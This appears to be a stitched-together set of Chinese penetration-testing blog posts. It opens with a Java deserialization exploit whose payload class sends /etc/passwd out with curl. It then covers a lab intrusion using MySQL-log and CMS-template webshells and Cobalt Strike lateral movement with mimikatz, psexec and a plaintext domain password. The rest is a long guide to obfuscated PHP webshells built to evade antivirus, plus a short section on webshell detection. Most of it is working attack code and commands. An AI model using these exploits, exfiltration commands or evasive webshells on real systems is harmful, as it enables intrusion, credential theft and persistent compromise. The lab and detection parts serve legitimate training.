"aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm\n" +
"KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y\n" +
"Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw\n" +
"YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp\n" +
"bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb\n" +
"DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB\n" +
"AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj\n" +
"dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z\n" +
"bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry\n" +
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n\n" +
"OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA\n" +
"AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA\n" +
"AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA\n" +
"DwABABAAAAACABE=");
byte[] bytes = serialize(badAdv);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.println(new String(payload));

}
}

主要解释下main函数里的吧,因为这是做题且只能使用原生类,不能直接照搬cc5,所以直接采取上面的思路。
new一个BadAttributeValueExpException,然后去调用toStringBean里的toString,再去调用defineClass加载字节码,就能执行命令了。这里字节码还需要我们自己再写个恶意类去生成(为了便于理解,可以暂时将字节码理解java程序编译后生成的class文件里的东西)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com;

import java.io.IOException;

public class evil {
public evil() {
try{
String[] command = {"/bin/bash","-c","curl url -F file=@/etc/passwd"};
Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

接下来在自己的服务器开个监听,直接打就行了。

0x04 内网渗透

4.1 将web服务器上线到CS

将刚才生成的beacon.exe上传到web目录,然后在shell中执行这个exe,就可以将shell上线到CS了。

图片

4.2 目标主机信息收集

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低

进入 beacon 执行 sleep 0,然后查看下基本的本机信息:

1
2
3
4
whoami
hostname
net user
net localgroup administrators

systeminfo 可以查看系统详细信息,提供两个小 tips:

查看是什么操作系统 & 系统版本:

系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

图片

图片

查询已安装的软件及版本信息:wmic product get name,version

查询进程及服务:

tasklist,默认显示映像名称,PID,会话名,会话,内存使用

tasklist /svc,默认显示映像名称,PID,服务

1
wmic process list brief

常见的杀软进程:
|进程名|软件|
|:—-|:—-|
|360sd.exe|360 杀毒|
|360tray.exe|360 实时保护|
|ZhuDongFangYu.exe|360 主动防御|
|KSafeTray.exe|金山卫士|
|SafeDogUpdateCenter.exe|安全狗|
|McAfee|McShield.exe|
|egui.exe|NOD32|
|AVP.exe|卡巴斯基|
|avguard.exe|小红伞|
|bdagent.exe|BitDefender|

4.3 域信息收集

什么是域

参考文章:内网渗透学习导航

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器:

图片

发现 DNS 服务器名为 god.org,查看域信息:net view

图片

查看主域信息:net view /domain

图片

查看时间服务器:net time /domain

图片

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

图片

查找域控

利用 nslookup 命令直接解析域名服务器:

1
shell nslookup god.org		# nslookup 域名

查询域控和用户信息

查看当前域的所有用户:net user /domain

图片

获取域内用户的详细信息:wmic useraccount get /all

可以获取到用户名,描述信息,SID 域名等:

查看所有域成员计算机列表:net group "domain computers" /domain

图片

查看域管理员:net group "domain admins" /domain

图片

获取域密码信息:net accounts /domain

图片

4.4 横向探测

获取到一个 cs 的 beacon 后可以继续查看目标内网情况和端口开放情况

在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描):

net view

图片

执行之后,可以在CobaltStrike->可视化->目标列表看到扫描出来的主机

图片

用 cs 的 hashdump 读内存密码:hashdump

用 mimikatz 读注册表密码:logonpasswords

图片

在凭证信息一栏可以清楚查看

图片

如果权限不够可以提权,自带部分提权POC

图片

图片

额外的提权插件:ElevateKit额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

最简单的直接 arp -a 查看也可以

4.5 横向移动

因为192.168.52.0/24段不能直接连接到192.168.237.137(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

图片

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:

图片

选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标

图片

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块

图片

图片

在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

图片

可以看到分别执行了

1
2
3
4
5
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator V0Wldl19980114
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWA 的 beacon

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administrator 的 token 盗取:

图片

然后在选择令牌处勾选使用当前 token 即可

0x05 总结

我们利用mysql日志写shell或者CMS的模板文件写shell轻松拿下Web服务器,再利用Web服务器作为跳板,去横向收集域内主机信息,并利用窃取的凭证横向移动到其他主机,最终实现整个域的控制

0x01 环境搭建

红日安全团队提供的靶机都是虚拟机形式,需要对虚拟机网络进行一定的配置。关于VMware的几种网络模式的原理和区别,可以参考这篇文章——VMware网络连接模式——桥接模式、NAT模式以及仅主机模式的介绍和区别 介绍非常详细,通俗易懂。

我们下载完靶机有三个压缩包,对应三个虚拟机:

图片

VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008

可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。

一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。

二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。

所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008)

0x02 启动靶机和服务

将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。

密码都是 hongrisec@2019,可能会提醒你修改密码,修改后务必记住自己的密码。

进入win7 启动phpstudy。

发现三台主机都是固定IP的,是在192.168.52.0/24段可以通过三台主机之前进行ping测试,测试能通后,可以正式开始练习了。如果遇到NAT(比如主机和同网段的kali)ping不通win7的情况,试着关闭防火墙再试试

0x03 拿下Web服务器

上述基本完成后,我们可以正式开始本次靶机渗透之旅

3.1 信息收集

本机kali的地址为:192.168.237.137

搜索同段的主机,再针对性的使用nmap进行服务端口扫描

1
netdiscover -i eth0 -r 192.168.237.0/24

或者直接使用nmap扫描同一C段:

1
nmap -sP 192.168.237.0/24		# -sP ping方式探测存活主机

图片

1
nmap -sC -sV -Pn -p 1-65535 192.168.237.136	# -sC默认脚本 -sV 服务版本 -p指定端口

图片

3.2 漏洞利用

发现80 端口开放,进行访问,是一个php探针页面,结合信息收集阶段得到phpstudy的信息,可以确定是一个phpstudy的集成环境。

网站的绝对路径:C:/phpStudy/www/

此时,有两种攻击方案:

  1. phpstudy 后门
  2. 看看MySQL能不能连进去
    测试发现使用的版本恰好没有后门文件可以利用。尝试第二种方式,测试MySQL外连和登录密码。这里出题比较简单,直接是弱口令,root/root就可以连进去,而且是可以外连的。

使用dirmap或者御剑扫描web目录,发现phpmyAdminbeifen.rar(如果是没有弱口令,从备份文件中找配置也是一个突破口)

图片

备份文件是一个yxcms的源码:

在全文搜索admin之后,发现后台默认的用户名和密码:admin/123456

发现后台地址:/index.php?r=admin

图片

接下来,又有两种攻击方案可以选择:

  1. 利用phpMyAdmin漏洞进行getshell或者利用MySQL写Shell
  2. 继续跟进yxcms
    因为是练习嘛,我们都尝试一遍。

3.2.1 mysql日志写shell

先看一下有没有写权限:

1
show variables like '%secure%';

图片

secure_file_priv ==''为空说明有任意目录的写权限,非空则只能在对应目录读文件,这里的非空包括NULL。所以这里没有写权限,无法直接写shell。

因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

/etc/my.cnf[mysqld]下面添加local-infile=0选项。

这里无法直接写shell,那我们来尝试日志写 shell,开启日志记录

1
2
3
set global general_log = "ON"; 	# 开启日志记录
show variables like 'general%'; # 查看当前的日志记录
set global general_log_file="C://phpStudy/www/v0w.php"; # 指定日志文件

图片

进行一次查询,查询记录就将写到日志文件中,形成一个webshell。

1
SELECT '<?php eval($_POST["a"]);?>'

图片

使用蚁剑连接,getshell

3.2.2 通过yxcms getshell

利用之前得到的一些信息,登录后台

1
2
后台地址:/index.php?r=admin
用户名和密码:admin 123456

看看有没有上传或者什么可以写入shell的地方。可以通过Seay审计工具来进行比较细致的审计 ,不过我们不用工具,也容易找到前台模板的管理页面存在编辑功能,明显的写shell的地方。

比如随便找一个模板进行修改,插入一句话木马(虽然是随便找的,但是需要知道,这个模板在哪个网页执行)

图片

这个很明显就在index.php处的搜索功能。

比如我们随便搜索一个关键词,就会触发这个shell。再或者通过下载下来的备份文件搜索这个文件,直接访问到这个文件的路径也可以拿下shell

1
2
http://192.168.237.136/yxcms/index.php?r=default%2Findex%2Fsearch&keywords=q&type=all
http://192.168.237.136/yxcms/protected/apps/default/view/default/index_search.php

Webshell检测方式

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

文件内容检测(静态检测)

静态检测是指对文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件要素等多个因素进行检测,对已知的样本查找准确率高,但缺点是漏报率、误报率高,,而且容易被绕过。
具体的检测方式如下:

Webshell特征检测

使用正则表达式制定相应的规则是很常见的一种静态检测方法,通过对webshell文件进行总结,提取出常见的特征、威胁函数形成正则,再进行扫描整个文件,通过关键词匹配脚本文件找出webshell。
比较常见的如:

1
系统调用的命令执行函数:eval\system\cmd_shell\assert等

文件名检测

有的文件名一看便知道是webshell,也是根据一些常见的webshell文件名进行总结然后再进行过滤。
如:

backdoor.phpwebshell.php等等

文件行为检测(动态检测)

动态检测是通过Webshell运行时使用的系统命令或者网络流量的异常来判断动作的威胁程度,Webshell通常会被加密从而避开静态特征的检测,当Webshell运行时就需要向系统发送系统命令来达到执行命令。通过检测系统调用来监测甚至拦截系统命令被执行。
具体检测方式如下:

流量行为特征检测

webshell带有常见执行命令动作等,它的命令行为方式决定了它的数据流量中的参数具有一些明显的特征。
如:

1
ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo

攻击者在上传完webshell后肯定会执行些命令等,那么便可以去检测系统的变化以及敏感的操作,通过和之前的配置以及文件的变化对比监测系统达到发现webshell的目的
进程分析

利用netstat命令来分析可疑的端口、IP、PID及程序进程

1
netstat -anptu | grep 

有些进程是隐藏起来的,可以通过以下命令来查看隐藏进程

1
2
3
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

文件分析
通过查看/tmp /init.d /usr/bin /usr/sbin等敏感目录有无可疑的文件,针对可以的文件可使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有关联,说明可能被篡改或者其他

1
stat /usr/bin

除此之外,还可以查找新增文件的方式来查找webshell
查找24小时内被修改的PHP文件

1
find ./ -mtime 0 -name "*.php"

查找隐藏文件

1
ls -ar | grep "^\."

系统信息分析

通过查看一些系统信息,来进行分析是否存在webshell

1
2
3
4
5
6
cat /root/.bash_history
查看命令操作痕迹
cat /etc/passwd
查看有无新增的用户或者除root之外uid为0的用户
crontab /etc/cron*
查看是否有后门木马程序启动相关信息

静态免杀

关于eval与assert

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被可变函数调用。可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a()?> 这样是不行的,造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

PHP木马静态免杀基本是通过各种加密或异或等方式来隐藏关键词

将关键词混淆在类中、函数中

字符串变形:

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

用 substr_replace() 函数变形assert 达到免杀的效果 

1
2
3
4
<?php
    $a = substr_replace("assexx","rt",4);
    $a($_POST['x']);
 ?>

定义函数绕过
定义一个函数把关键词分割达到bypass效果

1
2
3
<?php
function test($a){ $a($_POST['x']);} test(assert);
?>

反之

1
2
3
4
5
<?php
function test($a){
assert($a);
}
test($_POST[x]);

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
大多数回调函数已经被加入规则里这里建议使用一些冷门的

1
2
3
4
5
6
7
<?php
    forward_static_call_array(assert,array($_POST[x]));
?>

<?php
forward_static_call_array(assert,array($_POST[x]));
?>

回调函数变形
定义个函数 或者类来调用

定义一个函数

1
2
3
4
5
6
<?php
function test($a,$b){
array_map($a,$b);
}
    test(assert,array($_POST['x']));
?>

定义一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test {
    var $a;
        var $b;
        function __construct($a,$b) {
            $this->a=$a;
            $this->b=$b;
        }
        function test() {
            array_map($this->a,$this->b);
        }
    }
    $p1=new test(assert,array($_POST['x']));
    $p1->test();
?>

这里贴上网上师傅自己写的混淆小马,同样利用了冷门回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function myfunction_key($a,$b){
if ($a===$b){
return 0;
}
return ($a>$b)?1:-1;
}
class rtHjmCdS{
public $fHfoj;
public $fDaGv;
public $HgAjSd;
function __construct(){

$_xlr="J"^"\x2b";
$_Nbv="V"^"\x25";
$_cfh="T"^"\x27";
$_PdK="I"^"\x2c";
$_zJQ="+"^"\x59";
$_RgD="="^"\x49";
$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";
$_wOK="j"^"\x18";
$_tAH="U"^"\x27";
$_HeV="J"^"\x2b";
$_cyo="-"^"\x54";
$_iSW="F"^"\x19";
$_jYS="/"^"\x5a";
$_BFt="h"^"\x1";
$_TRn="p"^"\x1e";
$_izx="k"^"\x1f";
$_gMz="X"^"\x3d";
$_TNu="<"^"\x4e";
$_UiE="v"^"\x5";
$_iHI="q"^"\x14";
$_LIK="m"^"\xe";
$_Yey="Z"^"\x2e";
$_lMr="="^"\x62";
$_WOI="+"^"\x5e";
$_FQy="u"^"\x14";
$_sjC="d"^"\x17";
$_mOr=">"^"\x4d";
$_Txf="*"^"\x45";
$_PmW="O"^"\x2c";
$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
$fdJfd = $this->fDaGv; // 'assert'
//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
}
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>

例如:使用str_rot13函数,注意assert适用于PHP5

1
2
3
4
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13() 函数对字符串执行 ROT13 编码,通过编码来最终获得assert,但是这样是能被查杀出来的,可以将其隐藏在类或函数中

1
2
3
4
5
6
7
<?php
function test($a){
$b=str_rot13('nffreg');
$b($a);
}
test($_REQUEST['x']);
?>

但是这样还是绕不过D盾,那就在函数的外面再套上类来试试

1
2
3
4
5
6
7
8
9
10
11
<?php
class One{
function test($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->test($_REQUEST['x']);
?>

利用explode函数来分割字符串,再由class封装类来进行绕过D盾
拆解合并

1
2
3
4
5
<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字

1
随机异或产生

"Y"^"\x38"的结果就是a,同样的生成assert即可

1
2
3
4
5
6
7
8
$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异
特殊字符干扰

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符

1
2
3
4
5
<?php
    $a = $_REQUEST['a'];
    $b = null;
    eval($b.$a);
?>

不过已经不能免杀了,利用适当的变形即可免杀 如

1
2
3
4
5
<?php
    $a = $_POST['a'];
    $b = "\n";
    eval($b.=$a);
?>

其他方法如”\r\n\t”,函数返回,类,等等
利用数组

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['a'])];
?>

利用函数

1
2
3
4
5
6
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/hello/e",func(),"hello");
?>

加上/e可以当作PHP代码进行解析,测试在5.6版本下可以使用
除此之外,例如create_function函数,用来创建匿名函数

1
2
3
4
<?php 
$a = create_function('',$_POST['a']);
$a();
?>

字符特征马
对于无特征马这里我的意思是无字符特征

利用异或,编码等方式 例如p神博客的

1
2
3
4
5
6
<?php
    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=$$__;
    $_($___[_]); // assert($_POST[_]);

到这里静态免杀基本就完了,总结一下:

  • 使用冷门函数
  • 尽量避免使用敏感关键字,可以用各种方式生成
  • 将关键代码混淆在类、函数里